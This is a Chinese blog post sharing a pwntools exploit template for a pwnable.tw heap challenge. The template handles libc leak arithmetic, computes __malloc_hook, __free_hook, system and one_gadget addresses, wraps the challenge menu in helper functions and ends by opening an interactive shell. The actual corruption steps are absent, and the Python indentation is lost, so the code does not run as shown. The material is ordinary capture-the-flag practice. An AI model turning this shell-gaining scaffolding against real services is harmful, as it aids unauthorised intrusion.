今天在一个师傅博客中学到了一种当本地 libc 和远程 libc 不一样,调试和 getshell 之间需要切换的情况下,这种模板就会很简单。拿过来结合自己之前用的如下:
from pwn import *
import sys
context.log_level = "debug"
elf = ELF("./pwn")
if sys.argv[1] == "process":
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("chall.pwnable.tw",10302)
libc = ELF("./libc_64.so.6")
DEBUG = 0
if DEBUG:
gdb.attach(p,
'''
b *0x08048935
c
''')
def dbg():
gdb.attach(p)
pause()
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
libc_base = u64(ru("\x7f")[-6:].ljust(8, '\x00')) - 0x68 - libc.symbols['__malloc_hook']
info("libc_base", libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search("/bin/sh").next()
menu = "Your choice : "
def cmd(idx):
ru(menu)
sl(str(idx))
def add(length, name, color='blue'):
cmd(1)
ru("Length of the name :")
sl(str(length))
ru("The name of flower :")
se(name)
ru("The color of the flower :")
sl(color)
def show():
cmd(2)
def remove(idx):
cmd(3)
ru("remove from the garden:")
sl(str(idx))
def clear():
cmd(4)
if sys.argv[1] == "process":
one_gadget = libc_base + 0xf02a4
else:
one_gadget = libc_base + 0xef6c4
ia()